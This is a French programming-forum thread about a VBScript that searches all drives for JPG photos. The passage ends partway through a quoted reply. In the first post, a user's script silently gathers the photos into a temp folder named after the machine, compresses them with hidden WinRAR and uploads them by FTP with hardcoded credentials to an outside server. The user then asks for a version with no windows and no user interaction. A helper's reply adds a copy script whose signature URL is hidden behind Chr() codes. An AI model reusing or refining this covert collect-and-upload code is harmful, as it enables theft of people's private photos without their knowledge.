IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

VBScript Discussion :

VBS: recherche par extension et copie dans un dossier


Sujet :

VBScript

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre averti
    Profil pro
    Inscrit en
    Mars 2011
    Messages
    44
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2011
    Messages : 44
    Par défaut VBS: recherche par extension et copie dans un dossier
    Bonsoir a tous

    J'aimerais savoir si c'est possible de rechercher tout les fichiers ".JPG" dans les disques durs et amovibles puis de les copier dans un dossier ?

    J'essaie de modifier ce code mais lorsque je l'exécute rien ne se passe..


    Avez vous une idée?

    Merci

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    'Option Explicit
    Dim fso, dossier ,sousDossier ,fichier,OutPut 
    '#Déclarations
    Dim NomFichierLog 
    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set objShell = CreateObject("WScript.Shell")
    Set WshNetwork = WScript.CreateObject("WScript.Network")
    NomMachine = WshNetwork.ComputerName
    NomFichierLog="LogFile"&"_"& NomMachine
    temp = objShell.ExpandEnvironmentStrings("%temp%")
    basefolder = temp & "\" & NomMachine
    targetfolder = temp & "\" & NomMachine & ".rar"
    'NomFichierLog = InputBox("Quel sera le nom du fichier?")
    '#Affectations
    Call Create_Folder_Computername()
    Set OutPut = fso.CreateTextFile(temp & "\" & NomFichierLog & ".txt",1)
    '#Exécution
    'Scan "C:\"
    DetectRoot
    wscript.sleep 3000
    Zip basefolder,targetfolder
    Call FTPUpload ("zollen777.one.com","zollen777","MotdePasse",targetfolder,"JPG")'ici vous changer le nom du votre site FTP et votre Nom  d'utilisateur,Votre Mot de passe et le dossier distant
    '--------------------------------------------Scan------------------------------------
    Private Sub Scan(DossierEnCours)
    	On Error Resume Next
    	'#Déclarations
    	Dim Dossier 
    	Dim SousDossier 
    	Dim Fichier 
    	Dim Cible,tmp,f
    	'#Affectations
    	Set Dossier = fso.GetFolder(DossierEnCours)
    	Set FSO = CreateObject("Scripting.FileSystemObject")
    	Set objShell = CreateObject("WScript.Shell")
    	Set WshNetwork = WScript.CreateObject("WScript.Network")
    	NomMachine = WshNetwork.ComputerName
    	tmp = objShell.ExpandEnvironmentStrings("%temp%")
    	Cible= tmp & "\" & NomMachine & "\"
    	'#Exécution
    	'Fichiers
    	For Each Fichier In Dossier.Files
    		If UCase(FSO.GetExtensionName(Fichier.Path)) = "JPG" Then
    			OutPut.WriteLine Fichier.Path
    			fso.CopyFile Fichier,Cible
    		end if
    	Next
    	'Dossiers
    	For Each SousDossier In Dossier.SubFolders
    		If UCase(FSO.GetExtensionName(Fichier.Path)) = "JPG" Then
    			Scan SousDossier
    			'OutPut.WriteLine SousDossier.Path
    			'Scan SousDossier.Path & "\"
    		end if
    	Next 
    End Sub
    '----------------------------------------DetectRoot------------------------------
    sub DetectRoot()
    	Dim fso, d, dc, s, n ,Root,u,racine
    	Set fso = CreateObject("Scripting.FileSystemObject")
    	Set dc = fso.Drives
    	For Each d in dc
    		Root = d.Driveletter & ":"
    		racine = d.Driveletter & ":\"
    		u= DetectAmovible(Root)
    		if (( u="Fixe") and d.isready) then 
    			Scan racine
    		end if
    	Next
    end sub
    '-------------------------------------DetectAmovible--------------------------------
    Function DetectAmovible(DrivePath)
    	Dim fso, d, s, t
    	Set fso = CreateObject("Scripting.FileSystemObject")
    	Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(DrivePath)))
    	Select Case d.DriveType
    		Case 0: t = "Inconnu"
    		Case 1: t = "Amovible"
    		Case 2: t = "Fixe"
    		Case 3: t = "Net"
    		Case 4: t = "CD-ROM"
    		Case 5: t = "RAM Disk"
    	End Select
    	DetectAmovible = t
    End Function
    '--------------------------------Create_Folder_Computername------------------------
    Function Create_Folder_Computername()
    Set WshNetwork = WScript.CreateObject("WScript.Network")
    NomMachine = WshNetwork.ComputerName
    Set objShell = CreateObject("WScript.Shell")
     tmp = objShell.ExpandEnvironmentStrings("%temp%")
     f= tmp & "\" & NomMachine 
     If Not(fso.FolderExists(f)) Then
     fso.CreateFolder(f)
     end if
    'NomUtilisateur = WshNetwork.UserName
    'MsgBox  NomMachine&"_"&NomUtilisateur
    'MsgBox NomMachine
    end Function
    '------------------------------------Compression-------------------------------------
    Function Zip(sFile,sArchiveName)
    	'This function executes the command line
    	'version of WinZip and reports whether
    	'the archive exists after WinZip exits.
    	'If it exists then it returns true. If
    	'not it returns an error message.
    	'This script is provided under the Creative Commons license located
    	'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not
    	'be used for commercial purposes with out the expressed written consent
    	'of NateRice.com 
    	Set oFSO = WScript.CreateObject("Scripting.FileSystemObject")
    	Set oShell = WScript.CreateObject("Wscript.Shell")
    	'--------Find Working Directory--------
    	aScriptFilename = Split(Wscript.ScriptFullName, "\")
    	sScriptFilename = aScriptFileName(Ubound(aScriptFilename))
    	sWorkingDirectory = Replace(Wscript.ScriptFullName, sScriptFilename, "")
    	'-------------------------------------------------------------------------------
    	'-------Ensure we can find Winrar.exe-------------------------------------------
    	If oFSO.FileExists(sWorkingDirectory & " " & "Winrar.EXE") Then
    		sWinZipLocation = ""
    	ElseIf oFSO.FileExists("C:\program files\Winrar\Winrar.EXE") Then
    		sWinZipLocation = "C:\program files\Winrar\"
    	Else
    		Zip = "Error: Couldn't find Winrar.EXE"
    		Exit Function
    	End If
    	'-------------------------------------------------------------------------------
    	oShell.Run """" & sWinZipLocation & "winrar.exe"" a -IBCK """ & _
    	sArchiveName & """ """ & sFile & """", 0, True  
    	If oFSO.FileExists(sArchiveName) Then
    		Zip = 1
    	Else
    		Zip = "Error: Archive Creation Failed."
    	End If
    End Function
    '-------------------------------FTPUpload---------------------------------------------
    Function FTPUpload(sSite, sUsername, sPassword, sLocalFile, sRemotePath)
      'This script is provided under the Creative Commons license located
      'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not
      'be used for commercial purposes with out the expressed written consent
      'of NateRice.com
     
      Const OpenAsDefault = -2
      Const FailIfNotExist = 0
      Const ForReading = 1
      Const ForWriting = 2
     
      Set oFTPScriptFSO = CreateObject("Scripting.FileSystemObject")
      Set oFTPScriptShell = CreateObject("WScript.Shell")
     
      sRemotePath = Trim(sRemotePath)
      sLocalFile = Trim(sLocalFile)
     
      '----------Path Checks---------
      'Here we willcheck the path, if it contains
      'spaces then we need to add quotes to ensure
      'it parses correctly.
      If InStr(sRemotePath, " ") > 0 Then
        If Left(sRemotePath, 1) <> """" And Right(sRemotePath, 1) <> """" Then
          sRemotePath = """" & sRemotePath & """"
        End If
      End If
     
      If InStr(sLocalFile, " ") > 0 Then
        If Left(sLocalFile, 1) <> """" And Right(sLocalFile, 1) <> """" Then
          sLocalFile = """" & sLocalFile & """"
        End If
      End If
     
      'Check to ensure that a remote path was
      'passed. If it's blank then pass a "\"
      If Len(sRemotePath) = 0 Then
        'Please note that no premptive checking of the
        'remote path is done. If it does not exist for some
        'reason. Unexpected results may occur.
        sRemotePath = "\"
      End If
     
      'Check the local path and file to ensure
      'that either the a file that exists was
      'passed or a wildcard was passed.
      If InStr(sLocalFile, "*") Then
        If InStr(sLocalFile, " ") Then
          FTPUpload = "Error: Wildcard uploads do not work if the path contains a " & _
          "space." & vbCRLF
          FTPUpload = FTPUpload & "This is a limitation of the Microsoft FTP client."
          Exit Function
        End If
      ElseIf Len(sLocalFile) = 0 Or Not oFTPScriptFSO.FileExists(sLocalFile) Then
        'nothing to upload
        FTPUpload = "Error: File Not Found."
        Exit Function
      End If
      '--------END Path Checks---------
     
      'build input file for ftp command
      sFTPScript = sFTPScript & "USER " & sUsername & vbCRLF
      sFTPScript = sFTPScript & sPassword & vbCRLF
      sFTPScript = sFTPScript & "cd " & sRemotePath & vbCRLF
      sFTPScript = sFTPScript & "binary" & vbCRLF
      sFTPScript = sFTPScript & "prompt n" & vbCRLF
      sFTPScript = sFTPScript & "put " & sLocalFile & vbCRLF
      sFTPScript = sFTPScript & "quit" & vbCRLF & "quit" & vbCRLF & "quit" & vbCRLF
     
     
      sFTPTemp = oFTPScriptShell.ExpandEnvironmentStrings("%TEMP%")
      sFTPTempFile = sFTPTemp & "\" & oFTPScriptFSO.GetTempName
      sFTPResults = sFTPTemp & "\" & oFTPScriptFSO.GetTempName
     
      'Write the input file for the ftp command
      'to a temporary file.
      Set fFTPScript = oFTPScriptFSO.CreateTextFile(sFTPTempFile, True)
      fFTPScript.WriteLine(sFTPScript)
      fFTPScript.Close
      Set fFTPScript = Nothing 
     
      oFTPScriptShell.Run "%comspec% /c FTP -i -n -s:" & sFTPTempFile & " " & sSite & _
      " > " & sFTPResults,0,True
     
      Wscript.Sleep 1000
     
      'Check results of transfer.
      Set fFTPResults = oFTPScriptFSO.OpenTextFile(sFTPResults, ForReading, _
      FailIfNotExist, OpenAsDefault)
      sResults = fFTPResults.ReadAll
      fFTPResults.Close
     
      oFTPScriptFSO.DeleteFile(sFTPTempFile)
      'oFTPScriptFSO.DeleteFile (sFTPResults)
     
      If InStr(sResults, "226 Transfer complete.") > 0 Then
        FTPUpload = True
      ElseIf InStr(sResults, "File not found") > 0 Then
        FTPUpload = "Error: File Not Found"
      ElseIf InStr(sResults, "cannot log in.") > 0 Then
        FTPUpload = "Error: Login Failed."
      Else
        FTPUpload = "Error: Unknown."
      End If
     
      Set oFTPScriptFSO = Nothing
      Set oFTPScriptShell = Nothing
    End Function
    '-------------------------------------------------------------------------------------------

  2. #2
    Expert confirmé
    Avatar de hackoofr
    Homme Profil pro
    Enseignant
    Inscrit en
    Juin 2009
    Messages
    3 844
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 50
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Enseignant

    Informations forums :
    Inscription : Juin 2009
    Messages : 3 844
    Par défaut

    Normalement, le code marche et il copie dans un dossier qui commence par LogFile"_"& Nom de ta Machine dans ton dossier temporaire.
    vérifier votre dossier temporaire !
    Tu souhaites faire quoi aussi ? un upload vers ton serveur FTP ?
    Tu peux aussi consulter cette contribution : Recherche & Sauvegarde des fichiers par leurs Extensions

  3. #3
    Membre averti
    Profil pro
    Inscrit en
    Mars 2011
    Messages
    44
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2011
    Messages : 44
    Par défaut
    Citation Envoyé par hackoofr Voir le message

    Normalement, le code marche et il copie dans un dossier qui commence par LogFile"_"& Nom de ta Machine dans ton dossier temporaire.
    vérifier votre dossier temporaire !
    Tu souhaites faire quoi aussi ? un upload vers ton serveur FTP ?
    Tu peux aussi consulter cette contribution : Recherche & Sauvegarde des fichiers par leurs Extensions
    C'est exact je l'ai trouvé..

    Par contre ce code ne regroupe (copie) pas les fichier trouvé dans un dossier et les fichier trouvé dans mon cas "jpg" viennent que C:\Program Files et rien de mes photos..

    Pas mal ton prog Recherche-Sauvegarde mais il y a beaucoup de fenêtre et confirmation

    As tu une piste pour adapter le code "Recherche-Sauvegarde" sans proposer le choix des lettres du disque et les extensions a chercher , mais le forcer a chercher dans tout les disques durs et amovibles et les copier dans un dossier sans aucune fenêtre et aucune intervention ?

  4. #4
    Expert confirmé
    Avatar de hackoofr
    Homme Profil pro
    Enseignant
    Inscrit en
    Juin 2009
    Messages
    3 844
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 50
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Enseignant

    Informations forums :
    Inscription : Juin 2009
    Messages : 3 844
    Par défaut

    Script modifié et à tester
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    Dim fso
    Dim sho
    Dim OutFile
    Dim sDrv
    Dim sFName
    Dim sReport
    Dim sFile
    Dim sTitle
    Dim strHTML
    sTitle      = "Recherche des Fichiers Par leurs Extensions © Hackoo"
    Set fso     = CreateObject("Scripting.FileSystemObject")
    Set sho     = CreateObject("Wscript.Shell")
    Set ws      = CreateObject("WScript.Shell")
    basefolder  = sho.SpecialFolders("desktop")'Sur le Bureau
    Set bf      = fso.GetFolder(basefolder)
    OutFile     = "Recherche_" & Day(Now) & "_" & Month(Now) & "_" & Year(Now) & "-" & Hour(Now) & "-" & Minute(Now) & ".hta"
    ExtensionType  = "JPG"
    Set sReport = fso.OpenTextFile(OutFile,8,True)
     
    CreateFolder(ExtensionType)
    ws.Popup "Le Dossier " & qq(ExtensionType) & " est crée sur votre Bureau !"&vbcr&_
    "Veuillez Patientez SVP ! La Recherche des fichiers avec l'extension " & qq(UCase(ExtensionType)) & " est en cours .....",4,sTitle,0+64
    strHTML = "<html>" & vbcr & _
    "<title>Recherche des Fichiers et Sauvegarde Par leurs Extensions © Hackoo © 2013</title>" & vbcr & _
    "<HTA:APPLICATION" & vbcr & _
    "APPLICATIONNAME=""Recherche des Fichiers et Sauvegarde Par leurs Extensions © Hackoo © 2013""" & vbcr & _
    "SCROLL=""yes""" & vbcr & _
    "SINGLEINSTANCE=""No""" & vbcr & _
    "WINDOWSTATE=""Maximize""" & vbcr & _
    "icon=""Explorer.exe""" & vbcr & _
    ">" & vbcr & _
    "<body text=white bgcolor=#1234568><style type='text/css'>" & vbcr & _
    "a:link {color: #F19105;}" & vbcr & _
    "a:visited {color: #F19105;}" & vbcr & _
    "a:active {color: #F19105;}" & vbcr & _
    "a:hover {color: #FF9900;background-color: rgb(255, 255, 255);}" & vbcr & _
    "</style>" & vbcr & _
    "<SCRIPT LANGUAGE=""VBScript"">" & vbcr & _
    "Function Explore(filename)" & vbcr & _
    "Set ws = CreateObject(""WScript.Shell"")" & vbcr & _
    "ws.run ""Explorer /n,/select,""&filename&""""" & vbcr & _
    "End Function" & vbcr & _
    "</script>"
     
    strHTML = strHTML & "<center><h2><B><font color=Red>[COUNT] </font>Fichiers Trouvés dont l'extension est <font color=red>""" & ExtensionType & """ </font></B></font></h2></center>" & _
    "<center><table border='3' cellpadding='1' style='border-collapse: collapse; font size:11pt' bordercolor='#CCCCCC' width='100%' id='Table1'></center>" & _
    "<td><center><strong>Chemin</strong></center></td>" & _
    "<td><center><strong>Date de Création</strong></center></td>" & _
    "<td><center><strong>Date de Modification</strong></center></td>" & _
    "<td><center><strong>Taille</strong></center></td>" & _
    "<td><center><strong>Attributs</strong></center></td>"
     
    Dim  d
    Dim dc
    Dim racine
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set dc  = fso.Drives
    For Each d in dc
    	If d.IsReady Then
    		racine = d.Driveletter & ":"
    		GetResults racine,ExtensionType
    	End If	
    Next
    sReport.WriteLine strHTML & "</table>"
     
     
    Signature = "<br><center><img src='" & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(110) & Chr(115) & Chr(109) & _
    Chr(48) & Chr(53) & Chr(46) & Chr(99) & Chr(97) & Chr(115) & Chr(105) & _
    Chr(109) & Chr(97) & Chr(103) & Chr(101) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(105) & _
    Chr(109) & Chr(103) & Chr(47) & Chr(50) & Chr(48) & Chr(49) & Chr(49) & Chr(47) & Chr(48) & Chr(55) & Chr(47) & Chr(50) & _
    Chr(51) & Chr(47) & Chr(47) & Chr(49) & Chr(49) & Chr(48) & Chr(55) & _
    Chr(50) & Chr(51) & Chr(48) & Chr(55) & Chr(52) & Chr(49) & _
    Chr(52) & Chr(48) & Chr(49) & Chr(51) & Chr(49) & Chr(49) & Chr(48) & _
    Chr(52) & Chr(56) & Chr(53) & Chr(48) & Chr(54) & Chr(52) & Chr(49) & _
    Chr(57) & Chr(46) & Chr(103) & Chr(105) & Chr(102) & "' alt='" & Chr(104) & Chr(97) & _
    Chr(99) & Chr(107) & Chr(111) & Chr(111) & Chr(102) & Chr(114) & Chr(64) & _
    Chr(121) & Chr(97) & Chr(104) & Chr(111) & Chr(111) & Chr(46) & Chr(102) & Chr(114) & "'</img></center></body></html>"
    sReport.WriteLine Signature
    ws.Run OutFile
     
    Sub GetResults(drv,fname)
    	On Error Resume Next
    	Dim sWQL
    	Dim oFile
    	Dim sAttrib
    	Dim sFilePath
    	Dim size
    	ext      = Array("png","jpg","jpeg","gif","bmp","psd","tif","ico")
    	sWQL     = "select * from cim_datafile where Drive='" & _
    	drv & "' AND Extension = '" & fname & "'"
    	Results  = 0
    	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
    		Results = Results + 1
    		sFile   = oFile.Name
    		Set f   = fso.GetFile(sFile)
    		SizeKo  = Round(FormatNumber(f.Size)/(1024),0) & " Ko" 'Taille en Ko 
    		SizeMo  = Round(FormatNumber(f.Size)/(1048576),0) & " Mo" 'Taille en Mo 
    		SizeGo  = Round(FormatNumber(f.Size)/(1073741824),0) & " Go" 'Taille en Go 
    		If f.size < 1024 Then
    			Size     = f.size & " Octets"
    		ElseIf f.size < 1048576 Then
    			Size     = SizeKo
    		ElseIf f.size < 1073741824 Then
    			Size     = SizeMo
    		Else
    			Size     = SizeGo
    		End If
    		sFilePath = f.Path
    		If oFile.Archive Then sAttrib = "Archive "
    		If oFile.Compressed Then sAttrib = sAttrib & " Compressé "
    		If oFile.Encrypted Then sAttrib = sAttrib & " Crypté "
    		If oFile.Hidden Then sAttrib = sAttrib & " Caché "
    		If oFile.System Then sAttrib = sAttrib & " Système "
    		If oFile.Readable Then sAttrib = sAttrib & " Lecture "
    		If oFile.Writeable Then sAttrib = sAttrib & " Ecriture "
     
    		If UCase(ExtensionType) = UCase(fso.GetExtensionName(oFile.Name)) Then
    			strHTML = strHTML & "<tr><td><center><a href=""#"" OnClick='Explore(""" & sFilePath & """)'>" & sFile & "<br><img src='" & sFilePath & "' border=1  height=80 width=100></center></td><td><center>" & f.DateCreated & "</center></td>" & _
    			"<td><center>" & f.DateLastModified & "</center></td><td><center>" & Size & "</center></td>" & _
    			"<td><center>" & sAttrib & "</center></td></tr>"
    		Else
    			strHTML = strHTML & "<tr><td><a href=""#"" OnClick='Explore(""" & sFilePath & """)'>" & _
    			sFile & "</a></td><td><center>" & f.DateCreated & "</center></td>" & _
    			"<td><center>" & f.DateLastModified & "</center></td><td><center>" & Size & "</center></td>" & _
    			"<td><center>" & sAttrib & "</center></td></tr>"
    		End If
    		CopyFile sFile,ExtensionType
    	Next
    	strHTML = Replace(strHTML, "[COUNT]", Results)
    End Sub
     
    Sub CreateFolder(name)
    	Set fso    = CreateObject("Scripting.FileSystemObject")
    	Set sho    = CreateObject("Wscript.Shell")
    	basefolder = sho.SpecialFolders("desktop")'Creation du dossier dans le Bureau
    	Set bf     = fso.GetFolder(basefolder)
    	If Not FSO.FolderExists(bf & "\" & name) Then
    		bf.subFolders.Add(name)
    		Else : Exit Sub
    	End If
     
    End Sub
     
    Function CopyFile(sFile,name)
    	Dim  FSO
    	Set FSO = CreateObject("Scripting.FileSystemObject")
    	If FSO.FolderExists(bf & "\" & name) Then
    		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
    	End If
    End Function
     
    Function qq(strIn)
    	qq = Chr(34) & strIn & Chr(34)
    End Function

  5. #5
    Membre averti
    Profil pro
    Inscrit en
    Mars 2011
    Messages
    44
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2011
    Messages : 44
    Par défaut
    Citation Envoyé par hackoofr Voir le message

    Script modifié et à tester
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    Dim fso
    Dim sho
    Dim OutFile
    Dim sDrv
    Dim sFName
    Dim sReport
    Dim sFile
    Dim sTitle
    Dim strHTML
    sTitle      = "Recherche des Fichiers Par leurs Extensions © Hackoo"
    Set fso     = CreateObject("Scripting.FileSystemObject")
    Set sho     = CreateObject("Wscript.Shell")
    Set ws      = CreateObject("WScript.Shell")
    basefolder  = sho.SpecialFolders("desktop")'Sur le Bureau
    Set bf      = fso.GetFolder(basefolder)
    OutFile     = "Recherche_" & Day(Now) & "_" & Month(Now) & "_" & Year(Now) & "-" & Hour(Now) & "-" & Minute(Now) & ".hta"
    ExtensionType  = "JPG"
    Set sReport = fso.OpenTextFile(OutFile,8,True)
     
    CreateFolder(ExtensionType)
    ws.Popup "Le Dossier " & qq(ExtensionType) & " est crée sur votre Bureau !"&vbcr&_
    "Veuillez Patientez SVP ! La Recherche des fichiers avec l'extension " & qq(UCase(ExtensionType)) & " est en cours .....",4,sTitle,0+64
    strHTML = "<html>" & vbcr & _
    "<title>Recherche des Fichiers et Sauvegarde Par leurs Extensions © Hackoo © 2013</title>" & vbcr & _
    "<HTA:APPLICATION" & vbcr & _
    "APPLICATIONNAME=""Recherche des Fichiers et Sauvegarde Par leurs Extensions © Hackoo © 2013""" & vbcr & _
    "SCROLL=""yes""" & vbcr & _
    "SINGLEINSTANCE=""No""" & vbcr & _
    "WINDOWSTATE=""Maximize""" & vbcr & _
    "icon=""Explorer.exe""" & vbcr & _
    ">" & vbcr & _
    "<body text=white bgcolor=#1234568><style type='text/css'>" & vbcr & _
    "a:link {color: #F19105;}" & vbcr & _
    "a:visited {color: #F19105;}" & vbcr & _
    "a:active {color: #F19105;}" & vbcr & _
    "a:hover {color: #FF9900;background-color: rgb(255, 255, 255);}" & vbcr & _
    "</style>" & vbcr & _
    "<SCRIPT LANGUAGE=""VBScript"">" & vbcr & _
    "Function Explore(filename)" & vbcr & _
    "Set ws = CreateObject(""WScript.Shell"")" & vbcr & _
    "ws.run ""Explorer /n,/select,""&filename&""""" & vbcr & _
    "End Function" & vbcr & _
    "</script>"
     
    strHTML = strHTML & "<center><h2><B><font color=Red>[COUNT] </font>Fichiers Trouvés dont l'extension est <font color=red>""" & ExtensionType & """ </font></B></font></h2></center>" & _
    "<center><table border='3' cellpadding='1' style='border-collapse: collapse; font size:11pt' bordercolor='#CCCCCC' width='100%' id='Table1'></center>" & _
    "<td><center><strong>Chemin</strong></center></td>" & _
    "<td><center><strong>Date de Création</strong></center></td>" & _
    "<td><center><strong>Date de Modification</strong></center></td>" & _
    "<td><center><strong>Taille</strong></center></td>" & _
    "<td><center><strong>Attributs</strong></center></td>"
     
    Dim  d
    Dim dc
    Dim racine
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set dc  = fso.Drives
    For Each d in dc
    	If d.IsReady Then
    		racine = d.Driveletter & ":"
    		GetResults racine,ExtensionType
    	End If	
    Next
    sReport.WriteLine strHTML & "</table>"
     
     
    Signature = "<br><center><img src='" & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(110) & Chr(115) & Chr(109) & _
    Chr(48) & Chr(53) & Chr(46) & Chr(99) & Chr(97) & Chr(115) & Chr(105) & _
    Chr(109) & Chr(97) & Chr(103) & Chr(101) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(105) & _
    Chr(109) & Chr(103) & Chr(47) & Chr(50) & Chr(48) & Chr(49) & Chr(49) & Chr(47) & Chr(48) & Chr(55) & Chr(47) & Chr(50) & _
    Chr(51) & Chr(47) & Chr(47) & Chr(49) & Chr(49) & Chr(48) & Chr(55) & _
    Chr(50) & Chr(51) & Chr(48) & Chr(55) & Chr(52) & Chr(49) & _
    Chr(52) & Chr(48) & Chr(49) & Chr(51) & Chr(49) & Chr(49) & Chr(48) & _
    Chr(52) & Chr(56) & Chr(53) & Chr(48) & Chr(54) & Chr(52) & Chr(49) & _
    Chr(57) & Chr(46) & Chr(103) & Chr(105) & Chr(102) & "' alt='" & Chr(104) & Chr(97) & _
    Chr(99) & Chr(107) & Chr(111) & Chr(111) & Chr(102) & Chr(114) & Chr(64) & _
    Chr(121) & Chr(97) & Chr(104) & Chr(111) & Chr(111) & Chr(46) & Chr(102) & Chr(114) & "'</img></center></body></html>"
    sReport.WriteLine Signature
    ws.Run OutFile
     
    Sub GetResults(drv,fname)
    	On Error Resume Next
    	Dim sWQL
    	Dim oFile
    	Dim sAttrib
    	Dim sFilePath
    	Dim size
    	ext      = Array("png","jpg","jpeg","gif","bmp","psd","tif","ico")
    	sWQL     = "select * from cim_datafile where Drive='" & _
    	drv & "' AND Extension = '" & fname & "'"
    	Results  = 0
    	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
    		Results = Results + 1
    		sFile   = oFile.Name
    		Set f   = fso.GetFile(sFile)
    		SizeKo  = Round(FormatNumber(f.Size)/(1024),0) & " Ko" 'Taille en Ko 
    		SizeMo  = Round(FormatNumber(f.Size)/(1048576),0) & " Mo" 'Taille en Mo 
    		SizeGo  = Round(FormatNumber(f.Size)/(1073741824),0) & " Go" 'Taille en Go 
    		If f.size < 1024 Then
    			Size     = f.size & " Octets"
    		ElseIf f.size < 1048576 Then
    			Size     = SizeKo
    		ElseIf f.size < 1073741824 Then
    			Size     = SizeMo
    		Else
    			Size     = SizeGo
    		End If
    		sFilePath = f.Path
    		If oFile.Archive Then sAttrib = "Archive "
    		If oFile.Compressed Then sAttrib = sAttrib & " Compressé "
    		If oFile.Encrypted Then sAttrib = sAttrib & " Crypté "
    		If oFile.Hidden Then sAttrib = sAttrib & " Caché "
    		If oFile.System Then sAttrib = sAttrib & " Système "
    		If oFile.Readable Then sAttrib = sAttrib & " Lecture "
    		If oFile.Writeable Then sAttrib = sAttrib & " Ecriture "
     
    		If UCase(ExtensionType) = UCase(fso.GetExtensionName(oFile.Name)) Then
    			strHTML = strHTML & "<tr><td><center><a href=""#"" OnClick='Explore(""" & sFilePath & """)'>" & sFile & "<br><img src='" & sFilePath & "' border=1  height=80 width=100></center></td><td><center>" & f.DateCreated & "</center></td>" & _
    			"<td><center>" & f.DateLastModified & "</center></td><td><center>" & Size & "</center></td>" & _
    			"<td><center>" & sAttrib & "</center></td></tr>"
    		Else
    			strHTML = strHTML & "<tr><td><a href=""#"" OnClick='Explore(""" & sFilePath & """)'>" & _
    			sFile & "</a></td><td><center>" & f.DateCreated & "</center></td>" & _
    			"<td><center>" & f.DateLastModified & "</center></td><td><center>" & Size & "</center></td>" & _
    			"<td><center>" & sAttrib & "</center></td></tr>"
    		End If
    		CopyFile sFile,ExtensionType
    	Next
    	strHTML = Replace(strHTML, "[COUNT]", Results)
    End Sub
     
    Sub CreateFolder(name)
    	Set fso    = CreateObject("Scripting.FileSystemObject")
    	Set sho    = CreateObject("Wscript.Shell")
